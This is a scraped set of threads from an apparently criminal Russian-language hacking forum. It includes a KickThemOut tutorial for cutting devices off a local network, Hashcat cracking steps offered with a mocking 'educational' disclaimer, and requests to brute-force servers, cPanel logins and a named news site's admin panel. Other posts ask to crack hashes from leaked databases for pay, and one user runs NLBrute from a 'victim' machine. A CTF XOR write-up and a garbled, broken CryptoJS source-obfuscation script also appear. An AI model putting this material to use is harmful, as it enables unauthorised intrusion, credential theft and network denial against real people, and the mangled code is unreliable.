Далее мы вставляем наш водяной знак в нужную вам картинку. В первом поле указываем файл нашей картинки, во втором поле файл нашего водяного знака, и в третьем определяем куда будем сохранять конечный файл и задаём ему имя:

1681232562478.png

Ну и последняя идёт проверка файла на наличие водяного знака в нём. В первом поле выбираем файл который нужно проверить, во втором выбираем файл водяного знака с которым будет сопоставляться:

1681232581217.png

И нажимаем на верификацию

1681232597568.png

Ну и здесь в процентах указывается, насколько водяная подпись совпадает, почему-то здесь всего-лишь 75%...Но да ладно.

KickThemOut​

Простой инструмент для отключения устройств от вашей сети и использования всей пропускной способности для себя. Данный инструмент позволяет вам выбрать определённые или все устройства, и просто отключить их от вашей локальной сети.

Установка этого инструмента на Kali Linux происходит следующим образом:

Code:Copy to clipboard

git clone https://github.com/k4m4/kickthemout.git
cd kickthemout/
pip3 install -r requirements.txt
python3 kickthemout.py

Ну что же, давайте теперь разберёмся как им пользоваться. После выполнения команды запуска нашего инструмента, оставляем как есть IP - адрес шлюза, просто прожимая Enter. Так же можно задать себе MAC адрес, но я оставлю себе свой.

Здесь у нас имеется четыре пункта: отключить одного, отключить нескольких или отключить всех ну и разумеется выход. Для примера попробую первый пункт, после его выбора инструмент сразу же начнёт сканировать сеть. После чего предоставит вам выбор, какое устройство отключить от сети.

1681232639724.png

Ну а дальше всё просто, выбираете нужный вам айпи, и после выбора он будет отключен от сети.

Заключение​

Надеюсь что этой статьёй, я пополнил ваш список хороших программ и инструментов с открытым исходным кодом, так же благодарен вам за то, что оцениваете мой труд своим небезразличием, что ещё больше мотивирует меня, на написание хороших и интересных статей)

автор user17 codeby.net

Hashcat: самый быстрый инструмент для взлома хешей
ID: 676536fbb4103b69df3737ae
Thread ID: 87405
Created: 2023-05-06T18:40:02+0000
Last Post: 2023-05-13T22:24:24+0000
Author: doctor_dimitri
Replies: 6 Views: 1K

Здравствуйте, уважаемые участники форума!

Сегодня я хочу рассказать вам об инструменте под названием Hashcat, который используется для восстановления паролей из хешей. Я хочу подчеркнуть, что все это предоставляется исключительно в образовательных целях, так что не забывайте смеяться, когда мы касаемся этой темы, haha!

Hashcat - это мощный инструмент, который использует графические процессоры для перебора паролей и подбора их хешей. Он может работать с различными алгоритмами хеширования, такими как MD5, SHA-1, SHA-256 и многими другими. Вот как его можно использовать:

Шаг 1: Скачайте и установите Hashcat с официального сайта (https://hashcat.net/hashcat/). Убедитесь, что ваше оборудование совместимо с программой.

Шаг 2: Получите хеш пароля, который вы хотите взломать. Это может быть, например, хеш из утечки базы данных или хеш, который вы хотите изучить в рамках своих исследований, haha!

Шаг 3: Создайте файл с хешами и файл с возможными паролями (так называемый словарь). Словари можно найти в интернете или создать самостоятельно.

Шаг 4: Запустите Hashcat, используя следующий синтаксис: hashcat -m [тип хеша] -a 0 [путь к файлу с хешами] [путь к файлу со словарем]. Например: hashcat -m 0 -a 0 hashes.txt dictionary.txt.

Hashcat может быть использован для аудита безопасности паролей, обучения и исследований в области криптографии. Опять же, все это предоставляется исключительно в образовательных целях, haha!

Если вам понравилась эта тема и вы считаете ее полезной, пожалуйста, поставьте лайк и поделитесь своими мыслями в комментариях. Буду рад обсудить эту тему с вами!

С наилучшими пожеланиями, Доктор Дмитрий

Подскажите информацию по брутфорсу серверов
ID: 676536fbb4103b69df3737af
Thread ID: 87712
Created: 2023-05-11T03:17:47+0000
Last Post: 2023-05-12T04:21:01+0000
Author: Tolik Helfiger
Replies: 3 Views: 1K

Хочу заняться брутфорсом серверов
Был бы благодарен за любую полезную информацию по этой теме.

полнодисковое шифрование LUKS уязвимо к брутфорсу
ID: 676536fbb4103b69df3737b6
Thread ID: 86721
Created: 2023-04-26T15:32:57+0000
Last Post: 2023-05-03T20:23:22+0000
Author: Dread Pirate Roberts
Replies: 7 Views: 1K

извиняюсь за громкий заголовок, но есть шанс, что это действительно так. конечно, там могли быть OPSEC failures и малварь в биосе, но всё же...

[Here's an article](https://nantes.indymedia.org/posts/87395/une-lettre- divan-enferme-a-la-prison-de-villepinte-perquisitions-et-disques-durs- dechiffres/) from a French anarchist describing how his (encrypted) laptop was seized after he was arrested, and material from the encrypted partition has since been entered as evidence against him. His encryption password was supposedly greater than 20 characters and included a mixture of cases, numbers, and punctuation, so in the absence of any sort of opsec failures this implies that even relatively complex passwords can now be brute forced, and we should be transitioning to even more secure passphrases.

Click to expand...

источники: https://mjg59.dreamwidth.org/66429.html https://lwn.net/Articles/929343/

рекомендуется вместо LUKS использовать LUKS2, но есть один нюанс :) на текущий момент GRUB не поддерживает загрузку с LUKS2: https://wiki.archlinux.org/title/GRUB#LUKS2
нужно или компильнуть сорца, или установить скомпилированный груб из левой репы, или молиться@поститься и надеяться на лучшее.

Как написать криптор?
ID: 676536fbb4103b69df3737bf
Thread ID: 85323
Created: 2023-04-06T06:39:35+0000
Last Post: 2023-04-06T15:20:53+0000
Author: alekov
Replies: 6 Views: 1K

Криптор для шифрования файлов, скиньте простенький пример, желательно на питоне, пж

NLBrute hepl помогите разобраться
ID: 676536fbb4103b69df3737c3
Thread ID: 84534
Created: 2023-03-26T17:17:40+0000
Last Post: 2023-03-30T22:07:18+0000
Author: MrH0
Replies: 3 Views: 1K

Всем привет
приобрел NLBrute Manager - NLBrute на стероидах. лицензию
взял тачку с такими параметрами
: 8 ядер 32 рам240 ссд проц qemu virtual cpu version 2.5+
два дня гоняю айпишники результат - 0 (даже домашних групп не находит)
тот же список гоняю на обычной NL на тачке жертвы - результат есть и стабильный
вопрос в чем, мб я что-то не так делаю или дело в моей VDS кто юзал данный софт - дайте пару советов

Вопрос Как массово декодировать mail:pass?
ID: 676536fbb4103b69df3737c4
Thread ID: 82560
Created: 2023-02-22T16:38:26+0000
Last Post: 2023-03-11T20:15:09+0000
Author: Sambew
Replies: 3 Views: 1K

Как массово декодировать mail:pass(пасс зашифрованный)

Нужна помощь в дешифровании
ID: 676536fbb4103b69df3737c9
Thread ID: 81944
Created: 2023-02-14T03:09:56+0000
Last Post: 2023-02-14T03:09:56+0000
Author: Mirkozeff
Replies: 0 Views: 1K

Ситуация такая, есть пароль называется "SecurityKey2", используется в белой
лигитимной программе NetSupport Manager.
Сам пароль Может состоять от 1-15 символов, выглядит пароль в ЗАШИФРОВАННОМ виде вот
так: dgAAABVRk3GObz9M4Hmw4yM6jFoA
На офф сайте сказано ,что тип шифрования DES
За оплату в лс

Как правильно определить тип PKZIP?
ID: 676536fbb4103b69df3737ca
Thread ID: 81794
Created: 2023-02-12T09:38:26+0000
Last Post: 2023-02-13T05:48:55+0000
Author: Eject
Replies: 8 Views: 1K

Всем привет, есть zip архив с паролем, достал из него хеш, выглядит следующим образом:

Code:Copy to clipboard

$pkzip2$3*2*1*0*8*24*cdae*bce3*42b4d9ff53a2f73be68996682e42b724fd432133f709798319690dd782c552188482aee6*1*0*8*24*80d3*bd6d*bd0cac94f52415db4e8e822efdea066ccde6dd401e1faca9aeee4553d83e7fde04e70b6c*2*0*97*e3*a23a6101*8ea*49*8*97*a23a*bd.....*$/pkzip2$

Hashcat подсказывает нам следующие варианты:

Code:Copy to clipboard

      # | Name                                                | Category
  ======+=====================================================+======================================
  17220 | PKZIP (Compressed Multi-File)                       | Archives
  17225 | PKZIP (Mixed Multi-File)                            | Archives
  17230 | PKZIP (Mixed Multi-File Checksum-Only)              | Archives

Как определить нужный тип хеша?
Может в свойствах архива что-то посмотреть?

Шифрование мобильной связи
ID: 676536fbb4103b69df3737cc
Thread ID: 80412
Created: 2023-01-21T18:16:01+0000
Last Post: 2023-02-11T12:20:31+0000
Author: MI2p
Replies: 1 Views: 1K

Всем доброго времени суток.Ищу любую литературу по шифрованию мобильной связи

ISO20022 Connectivity CSR
ID: 676536fbb4103b69df3737ce
Thread ID: 81223
Created: 2023-02-03T22:25:11+0000
Last Post: 2023-02-03T22:25:11+0000
Author: MrSreda
Replies: 0 Views: 1K

Кто умеет работать с ключами ISO20022, UAT IPS отзовитесь

Расшифровка KREMLIN
ID: 676536fbb4103b69df3737cf
Thread ID: 81084
Created: 2023-02-01T23:08:46+0000
Last Post: 2023-02-01T23:08:46+0000
Author: krutwi
Replies: 0 Views: 1K

Доброго времени! Кто может расшифровать данное расширение?

Что за hash?
ID: 676536fbb4103b69df3737d1
Thread ID: 80954
Created: 2023-01-31T05:44:06+0000
Last Post: 2023-01-31T22:15:43+0000
Author: kazakboo
Replies: 6 Views: 1K

В БД пароли лежат в таком формате:

8E-66-DE-F3-1E-B9-BB-31-FE-3D-47-98-39-39-74-D6
A3-C7-A4-23-B6-79-35-4F-BB-5B-C1-94-E6-D2-47-B4
9C-DF-6F-8A-8D-AC-8D-5E-7A-2E-40-4D-DA-87-6A-89
FD-A8-46-93-34-13-BF-EF-C0-60-95-3B-FC-1F-E7-B5
08-F7-1A-F4-D9-7A-AD-5C-91-34-C0-63-96-0B-B3-F9

нагуглить не могу, что это такое?

Кто то запускал Kraken c 4090?
ID: 676536fbb4103b69df3737d2
Thread ID: 80825
Created: 2023-01-29T01:11:31+0000
Last Post: 2023-01-30T07:54:38+0000
Author: jeki
Replies: 4 Views: 1K

Кто то запускал Kraken c 4090? Как сильно изменилось время обработки с установкой карт 4090 и какие карты использовались раньше?

Lattice-Attack
ID: 676536fbb4103b69df3737d5
Thread ID: 78053
Created: 2022-12-13T23:08:11+0000
Last Post: 2023-01-12T10:08:47+0000
Author: XxxxxX
Replies: 5 Views: 1K

Кто нибудь пользовался этой атакой для извлечения privkey в уязвимой транзакции ?

Утилита для шифрования файлов Picocrypt
ID: 676536fbb4103b69df3737d6
Thread ID: 79038
Created: 2022-12-30T20:08:49+0000
Last Post: 2023-01-04T19:08:46+0000
Author: pablo
Prefix: Статья
Replies: 3 Views: 1K

В этой небольшой статье я познакомлю вас с простой, но мощной утилитой для шифрования файлов на Linux и Windows, которая называется Picocrypt. Далее покажу, как установить и использовать Picocrypt.

Что такое Picocrypt​

Picocrypt умеет не только шифровать, но и генерить надежные пароли и редактировать метаданные файлов. Если хочется, можно эти метаданные даже полностью удалить, но идея направить потенциальных расследователей форензики по ложному следу выглядит более интересно.

Picocrypt к сожалению, поставляется только с графическим интерфейсом, но вряд ли это будет большой проблемой. В README автор расхваливает свое творение как чуть ли не лучшее решение для шифрования чего угодно: тут у нас и открытые исходники, и маленький размер, и современный алгоритм, и даже защита от повреждения данных.

Установка и использование Picocrypt на Windows​

Установка в Windows сводится к скачиванию собранного бинарника со страницы релизов.

Picocrypt предлагает простой метод перетаскивания. Просто запустите Picocrypt, и перетащите необходимые файлы в окно Picocrypt. После выбора файла можете изменить настройки шифрования:

  • Save output as — выбор папки для сохранения файла.
  • Password — установка пароля.
  • Confirm password — подтверждение пароля.
  • File metadata — добавление дополнительной информации (метаданных).
  • Securely erase… — безвозвратное удаление оригинального файла.
  • Prevent corrupting… — предотвращения повреждения файла с помощью метода Рида.

После выбора файла и добавления пароля жмем кнопку Start (Старт).
picocrypt-0.jpg
Зашифрованные файлы переименовываются, и к их именам добавляется расширение PCV.

Зашифрованные файлы можно расшифровать теме же способом. Для этого запустите Picocrypt, перетащите в окно зашифрованные файлы, введите пароль и нажмите кнопку Start (Старт).
picocrypt-1.jpg
Расшифрованный файл будет сохранен в той же папке, что и исходный файл.

Установка Picocrypt на Linux​

Установка в Linux через Snap:

Code:Copy to clipboard

snap install picocrypt

Если Snap нет, сначала нужно установить его

Code:Copy to clipboard

sudo apt install snapd

Заключение​

Picocrypt — это небольшой и простой в использовании инструмент для шифрования файлов. Для шифрования файлов используется надежный алгоритм шифрования.

Утилита отлично подойдет для шифрования небольших файлов. Если вы хотите зашифровать большие файлы, тогда лучше использовать другие инструменты использующие алгоритм шифрования AES, например VerCrypt.

автор Kozhuh spy-soft.net

XOR для самых маленьких || htb the last dance
ID: 676536fbb4103b69df3737d8
Thread ID: 78886
Created: 2022-12-27T22:18:21+0000
Last Post: 2022-12-27T22:18:21+0000
Author: BazarVokzal
Prefix: Статья
Replies: 0 Views: 1K

Салют! Всех с наступающим 2023 годом! =)​

или с уже наступившим, в зависимости когда вы это читаете)​


Предисловие​

** Специально для xss.is <3**

Этот материал я решил написать по нескольким причинам: во-первых это будет мой первый опыт в написании статей, во-вторых челендж the last dance хоть и очень простой, но я надеюсь, что эта статья будет кому-то полезной. В основном новичкам, те кто немного разбираются в криптографии вряд-ли откроют для себя что-то новое, тут всё довольно просто. Ещё инфы по этому челенджу довольно мало (хотя вполне достаточно, чтобы решить задачу), и она вся на английском языке. Поэтому решил написать... Если понравится такой формат, то продолжу разбирать всякие задачки, но уже более сложные. Теперь приступим.

Теория​

И начнём с теории. Об операции xor я думаю ничего говорить не надо, если что всё есть в гугле. Я лучше просто отправлю смешных картинок.
pic1.pngpic2.png

Потоковый шифр (stream cipher) - это симметричный шифр, в котором каждый символ открытого текста преобразуется в символ шифрованного текста в зависимости не только от используемого ключа, но и от его расположения в потоке открытого текста. Поточный шифр реализует другой подход к симметричному шифрованию, нежели блочные шифры (взял из википедии). То есть зависит ещё от того, в каком месте открытого текста расположен этот символ, который нужно зашифровать.

Алгоритм chacha20, что используется в данном челлендже потоковый. А ещё он является вариантом семейства salsa20.

Атаки на потоковые шифры​

Потоковые шифры, в которых биты открытого текста (дальше обозначим как A или B) объединяются с потоком битов шифрования (дальше в статье обозначим как C) с помощью операции xor, могут быть очень безопасными при правильном использовании. Однако они уязвимы для атак, если не соблюдаются определенные меры предосторожности, поэтому:
1. НИКОГДА, ЗАПОМНИ, НИКОГДА БЛИН НЕ ИСПОЛЬЗУЙ КЛЮЧ ДВАЖДЫ. ПОВТОРЯЮ, НЕ ШИФРУЙ НИЧЕГО ОДНИМ И ТЕМ ЖЕ КЛЮЧОМ ДВА И БОЛЕЕ РАЗ.
2. Правильная расшифровка данных не должна указывать на подлинность. (здесь нам это не пригодится)

Атака на чела, переиспользовавшего ключ.​

Итак, мы поняли, что потоковые шифры уязвимы, если какой-то нерадивый человек использовал один и тот же ключ дважды.

E() - так обозначим функцию шифрования, которая принимает в качестве аргумента сообщение и шифрует его.
C() - так обозначим функцию потокового шифра, которая генерирует строку битов. Принимает ключ, как аргумент.

Допустим лох хочет отправить два сообщения A и B одинаковой длины. В таком случае потоковый шифр создаст строку битовC(K) той же длины, что и сообщения. Сразу скажу, что чтобы ксорнуть сообщения разной длины мы просто обрезаем длинное сообщение до размеров меньшего. Ну и так как потоковый шифр создаст одинаковую строку, потому что мамонт использовал один и тот же ключ, мы делаем вывод:
**
E(A) = A xor C
E(B) = B xor C**

Если мы перехватимE(A) и E(B) , то сможем узнать E(A) xor E(B).

xor коммутативен и обладает таким свойством, что С xor С = 0(это называется самоинверсия). Поэтому
**
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B xor 0 = A xor B**

То есть ксор двух зашифрованных сообщений это то же самое, что и ксор двух незашифрованных сообщений. Панятненько? Это всё, что нам нужно знать, чтобы решить задачку.

the last dance​

А вот теперь я настоятельно рекомендую самому пройти это, подумать и получить удовольствие от прохождения. Я, когда решал, честно говоря тупил первое время, потому что
не знал того, что написано сверху. Потом просто начал гуглить, думать и у меня всё получилось. Ну а если ты тоже решил, то продолжение в спойлере:

Spoiler: А ты точно прошёл?

Spoiler: ладно, поверю тебе

Качаем архив с заданием и видим два файла: source.py и out.txt. В source.py мы видим, что ключ переиспользуется, а сообщение открыто. В out.txt есть iv (он нам нафиг ненужон), зашифрованное сообщение в формате hex и зашифрованный флаг тоже в формате hex. Зашифрованный флаг и зашифрованное сообщение мы дехексим, а дальше ксорим. Ну и т.к.E(M) xor E(F) = M xor F , то мы можем получить флаг путём**(E(M) xor E(F)) xor M**. Всё действительно очень просто, если знать теорию. Ну и сам декриптор:

Python:Copy to clipboard

import codecs 

message = b"Our counter agencies have intercepted your messages and a lot days all of them will be captured"
encrypted_message = codecs.decode("7aa34395a258f5893e3db1822139b8c1f04cfab9d757b9b9cca57e1df33d093f07c7f06e06bb6293676f9060a838ea138b6bc9f20b08afeb73120506e2ce7b9b9dcd9e4a421584cfaba2481132dfbdf4216e98e3facec9ba199ca3a97641e9ca9782868d0222a1d7c0d3119b867edaf2e72e2a6f7d344df39a14edc39cb6f960944ddac2aaef324827c36cba67dcb76b22119b43881a3f1262752990", "hex")
encrypted_flag = codecs.decode("7d8273ceb459e4d4386df4e32e1aecc1aa7aaafda50cb982f6c62623cf6b29693d86b15457aa76ac7e2eef6cf814ae3a8d39c7", "hex")

em_xor_ef = []
for i in range(len(encrypted_flag)):
    em_xor_ef.append(encrypted_message[i] ^ encrypted_flag[i])

flag = []
for i in range(len(em_xor_ef)):
    flag.append(em_xor_ef[i] ^ message[i])

print("".join([chr(i) for i in flag]))

Конец​

Вот такой получилась моя первая статья. Надеюсь, что всё было понятно. Всех с наступающим!!!))):smile10:

Is there a wallet backup that can crack the transaction password?
ID: 676536fbb4103b69df3737db
Thread ID: 76622
Created: 2022-11-24T21:40:00+0000
Last Post: 2022-12-13T11:31:11+0000
Author: Huchun
Replies: 1 Views: 1K

There is a Wallet.dat file, but there is no transaction password. Is there any way to crack it?

decompile marchal #help
ID: 676536fbb4103b69df3737dc
Thread ID: 77287
Created: 2022-12-03T16:47:00+0000
Last Post: 2022-12-05T16:30:33+0000
Author: dex_pro_404
Replies: 2 Views: 1K

I need Help

xx.png

md5 hash
ID: 676536fbb4103b69df3737dd
Thread ID: 77185
Created: 2022-12-02T10:46:56+0000
Last Post: 2022-12-02T12:00:07+0000
Author: kyara
Replies: 2 Views: 1K

Hi $50 in BTC for the first to decrypt this hash please: b9c9956bdc102e201f01e5f9dbb50d3a
leave answer and BTC address in pm.
Thanks!

Подскажите что за кошелёк?
ID: 676536fbb4103b69df3737de
Thread ID: 76874
Created: 2022-11-28T16:34:50+0000
Last Post: 2022-11-30T13:46:22+0000
Author: marviha1
Replies: 2 Views: 1K

Собственно кто знает подскажите от какого кошелька сид фраза? Мне визуально ничего не напоминает. Название файла BitWallet.jpgBit wallet1.jpg

Подскажите как искать адрес к админ доступам в самописах, что бы брутить
ID: 676536fbb4103b69df3737df
Thread ID: 76946
Created: 2022-11-29T10:23:14+0000
Last Post: 2022-11-30T08:42:53+0000
Author: Party
Replies: 1 Views: 1K

Клиент просит испаноязычные новостники и развлекуху.

Подскажите, есть ли подобная функция поиска в каких то инструментах, или как то можно найти через код?

Вот пример сайта - где у него вход в админку, и как это увидеть?

![marcelobonelli.cienradios.com](/proxy.php?image=https%3A%2F%2Fradiomitre- la100-prod.cdn.arcpublishing.com%2Fresizer%2FC7SwqXendQCD1j71lf8Wc2eb5hU%3D%2Ffilters%3Aformat%28webp%29%2Fcloudfront- us- east-1.images.arcpublishing.com%2Fradiomitre%2FYBF7OTKJLVEJVBXC2HAESEGVBA.png&hash=76b7927ec5eef3be4e703fb593ace560&return_error=1)

Bonelli y Economía | Cienradios

Últimas Noticias con Marcelo Bonelli. Todo lo que tenés que saber sobre la Política y la Económia de la Argentina junto a las primicias de último momento.

![marcelobonelli.cienradios.com](/proxy.php?image=https%3A%2F%2Fcloudfront- arc.cienradios.com%2Fmarcelobonelli%2Ffavicons%2Ffavicon.ico&hash=e69c13ad0f6bb92dd49d3f36684decd9&return_error=1) marcelobonelli.cienradios.com

Как можно расшифровать хеш данные от базы
ID: 676536fbb4103b69df3737e1
Thread ID: 75397
Created: 2022-11-07T08:58:15+0000
Last Post: 2022-11-28T16:45:44+0000
Author: Robertgugo
Replies: 4 Views: 1K

Всем привет
Интересует вопрос возможно ли расшифровать лог и пасс от базы. В хеше просто sha-256
И посоленый sha-256

MD5
ID: 676536fbb4103b69df3737e2
Thread ID: 76718
Created: 2022-11-26T08:23:54+0000
Last Post: 2022-11-26T17:45:33+0000
Author: Woy
Replies: 2 Views: 1K

Someone have this hash?

9c36e98b19d7e0e32e7a7bf0cd93ba75

How do I dehash this hash
ID: 676536fbb4103b69df3737e4
Thread ID: 76502
Created: 2022-11-23T17:35:37+0000
Last Post: 2022-11-26T08:07:56+0000
Author: korkumyok
Replies: 5 Views: 1K

| | | _hey how can i dehash passwords ?

example: 34013991aebc5077007600e4553d5226 this is from Promo.com 1.3M_

Как брутить cpanel?
ID: 676536fbb4103b69df3737e7
Thread ID: 75087
Created: 2022-11-02T10:13:39+0000
Last Post: 2022-11-17T08:32:57+0000
Author: Focus17
Replies: 12 Views: 1K

Собс сабж

Encrypt Html (source code)Content with AES
ID: 676536fbb4103b69df3737ec
Thread ID: 74188
Created: 2022-10-10T21:39:20+0000
Last Post: 2022-10-11T04:45:13+0000
Author: livebox711
Prefix: Статья
Replies: 1 Views: 1K

Encrypt your source code using AES.

This script will help you to encrypt your Html content with. password and decrypt it with the password in link . More exactly , you will encrypt your HTML,JS source code and you will decrypt it with a password that you put in link after "#".

https://example.com/#Password

https://example.com/index.php?#password

It's not mandatory to use '#" you can modifiy in script to put whatever you want .. like "accessToken=Password" where 'accessToken=' is ex '#'.

encrypt.html

Code:Copy to clipboard

<html>

<head>

if(b% 4)for(var e=0;e<a;e++)c[b+e>>>2]|=(d[e>>>2]>>>24-8*(e% 4)&255)<<24-8*((b +e)%4);else if(65535<d.length)for(e=0;e<a;e+=4)c[b+e>> >2]=d[e>>>2]; else c.push.apply(c,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]& =4294967295<<32-8*(c%4);a.length=h.ceil(c/4)},clone:function(){var a=j.clone.call(this);a.words= this.words.slice(0);return a},random:function(a){for(var c=[],d=0;d<a;d+=4)c.push(4294967296*h.random( )|0);return new q.init(c,a)}}),v=f.enc={},u=v.Hex={stringify:function(a){var c=a.words;a =a.sigBytes;for(var d=[],b=0;b<a;b++){var e=c[b>>>2]>>>24-8*(b%4)&255;d .push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for( varc=a. <21|p>>>11)^(p<<7|p>>>25))+(p&j^~p&k)+q[n]+a[n];g=((e<<30| e>>>2)^(e<<19|e >>>13)^(e<<10|e>>>22))+(e&f^e&m^f&m);l=k;k=j; j=p;p=h+r|0;h= m;m=f;f=e;e=r+g|0}b[0]=b[0]+e|0;b[1] =b[1]+f|0;b[2] =b[2]+m|0;b[3]=b[3]+h|0;b[4]=b[4]+p| 0;b[5]=b[5]+j| 0;b[6]=b[6]+k|0;b[7]=b[7]+l|0},_doFinalize:function(){var a=this._data,d=a.words, b=8*this._nDataBytes,e=8*a.sigBytes;d[e>>>5]|=128<<24-e%32;d[(e+64>>>9<<4)+ 14]=h.floor(b/4294967296);d[(e+64>>>9<<4)+15]=b;a.sigBytes=4*d.length;this._process();return this ._hash},clone:function(){var a=g.clone.call(this);a._hash=this._hash.clone();return a}});s.SHA256=g._createHelper(f) ;s.HmacSHA256=g._createHmacHelper(f)})(Math);</script>>>13)^(e<<10|e>>>22))+(e& f^e&m^f&m);l=k;k=j;j=p;p=h+r|0;h=m ;m=f;f=e;e=r+g|0}b[0 ]=b[0]+e|0;b[1]=b[1]+f|0;b[2]= b[2]+m|0;b[3]=b[3]+h |0;b[4]=b[4]+p|0;b[5]=b[5]+j|0 ;b[6]=b[6]+k|0;b[7]= b[7]+l|0},_doFinalize:function(){var a=this._data,d=a.words,b =8*this._nDataBytes,e=8*a.sigBytes;d[e>> >5]|=128<<24-e%32;d[(e+64>>>9<<4)+14 ]=h.floor(b/4294967296);d[(e+64>>> 9<<4)+15]=b;a.sigBytes=4*d.length;this._process();return this. _hash},clone:function(){var a=g.clone.call(this);a._hash=this._hash.clone();return a}});s.SHA256=g._createHelper(f); s.HmacSHA256=g._createHmacHelper(f)})(Math);</script>>>13)^(e<<10|e>>>22))+(e&f^e&m^f&m);l=k ;k=j;j=p;p=h+r|0;h=m ;m=f;f=e;e=r+g|0}b[0]=b[0]+e|0 ;b[1]=b[1]+f|0;b[2]= b[2]+m|0;b[3]=b[3]+h|0;b[4]=b[ 4]+p|0;b[5]=b[5]+j|0 ;b[6]=b[6]+k|0;b[7]=b[7]+l|0}, _doFinalize: function(){var a=this._data,d=a.words,b =8*this._nDataBytes,e=8*a.sigBytes;d[e>>>5]|=128<<24-e% 32;d[(e+64>>>9<<4)+14 ]=h.floor(b/4294967296);d[(e+64>>>9<<4)+15]=b;a .sigBytes=4*d.length;this._process();return this. _hash},clone:function(){var a=g.clone.call(this);a._hash=this._hash.clone();return a}});s.SHA256=g._createHelper(f); s.HmacSHA256=g._createHmacHelper(f)})(Math);</script>b[6]=b[6]+k|0;b[7]=b[7]+l|0},_doFinalize :function(){var a=this._data,d=a.words,b= 8*this._nDataBytes,e=8*a.sigBytes;d[e>>>5]|=128<<24-e %32;d[(e+64>>>9<<4)+14] =h.floor(b/4294967296);d[(e+64>>>9<<4)+15]=b; a.sigBytes=4*d.length;this._process();return this._hash },clone:function(){var a=g.clone.call(this);a._hash=this._hash.clone( );return a}});s.SHA256=g._createHelper(f);s .

    init:function(e,a,b){this.cfg =this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t .reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},finalize:function(e){e&&this ._append(e) ;return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){ return("string" ==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c: a).decrypt( e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1}); var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d <b;d++)e[a+d]^=c[d]},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a )}, createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend() ;q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e ,a);this._prevBlock=e.slice(a,a+c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher, c=b .blockSize,d=e.slice(a,a+c);b.decryptBlock(e,a);x.call(this,e,a,c);this._prevBlock=d}}); b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=ca.sigBytes%c,d= c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n+=4)l.push(d);c=s.create(l,c );a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg :v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a. mode;if(this._xformMode==this. b.ivSize);l.iv=d.iv; b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg .extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv; return a.decrypt.call(this,b,c,d.key,l)}})} ();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u. algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[ ],a=[],c=0;256>c;c++)a[c]=128 >c?c<<1:c<<1^283;for(var e=0,j=0,c =0;256>c;c++){var k=j^j<<1^j<< 2^j<<3^j<<4,k=k>>>8^k&255^99;l[e ]=k;s[k]=e;var z=a[e],F=a[ z],G=a[F],y=257*a[k]^16843008*k;t[e] =y<<24|y>>>8;r[e]=y<<16|y >>>16;w[e]=y<<8|y>>>24;v[e]=y ;y=16843009*G^65537*F^257*z^16843008*e;b[k] =y<<24|y>>>8;x[k]=y<<16|y>>>16 ;q[k]=y<<8|y>>>24;n[k]=y ; 24]<<24|f[k>>>16&255] <<16|f[n>>>8&255]<<8|f[g&255])^c[p++];t=(f[k>>> 24]<<24|f[n>>>16&255] <<16|f[g>>>8&255]<<8|f[h&255])^c[p++];n=(f[n>>> 24]<<24|f[g>>>16&255]<< 16|f[h>>>8&255]<<8|f[k&255])^c[p++];a[b]=q;a[ b+1]=s;a[b+2]=t; a[b+3]=n},keySize:8});u.AES=p._createHelper(d)})();</script>

</head>

<div id="loadercode" style="display:none"><html>  <style type="text/css"  media="print">  * { display: none; } </style>  <script>  function bytesToSize(bytes) { if (bytes == 0) return; var k = 1024; var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']; var i = Math.floor(Math.log(bytes) / Math.log(k)); return (bytes / Math.pow(k, i)).toPrecision(3) + ' ' + sizes[i]; } </script>  <script>  var CryptoJS=CryptoJS||function(h,s){var f={},t=f.lib={},g=function(){},j=t.Base= {extend:function(a){ g.prototype=this;var c=new g;a&& n=(f[n>>>24]<<24|f[g>>>>16&255]<<16|f[h>>>8&255]<<8 |f[k&255])^c[p++] ;a[b]=q;a[b+1]=s;a[b+2]=t;a[b+3]=n},keySize:8 });u.AES=p._createHelper( d)})();</script><script>var markup = document.documentElement.outerHTML;var DSize=markup.length; var CSize=bytesToSize(markup.length);var hash = CryptoJS.SHA256(markup);document.getElementById('HashDoc').innerHTML = hash;</script>  <body onload="do_encode()"  oncontextmenu="return false">  <script language="JavaScript1.2">  function do_encode() {password = window.location.href.split("#").pop();if (password.length >= 0) {srcCode = unescape ("

<div id="hexcode" style="display:none"><script type="text/javascript">var encoded="hexdecimal";decoded = unescape(('' + encoded).replace(/(. .) /g, '%$1'));document.write(decoded);</script></div>

    <script language="JavaScript1.2">

    function do_encode() {

        password = document.getElementById("pass").value;

        srcCode = document.getElementById("SourceText").value;

        var encrypted = CryptoJS.AES.encrypt(srcCode, password);

        document.getElementById("encodetext").value = encrypted;

        loaderCode1 = document.getElementById("loadercode").innerHTML;

        loaderCode1 = loaderCode1.replace(/</g, '<');

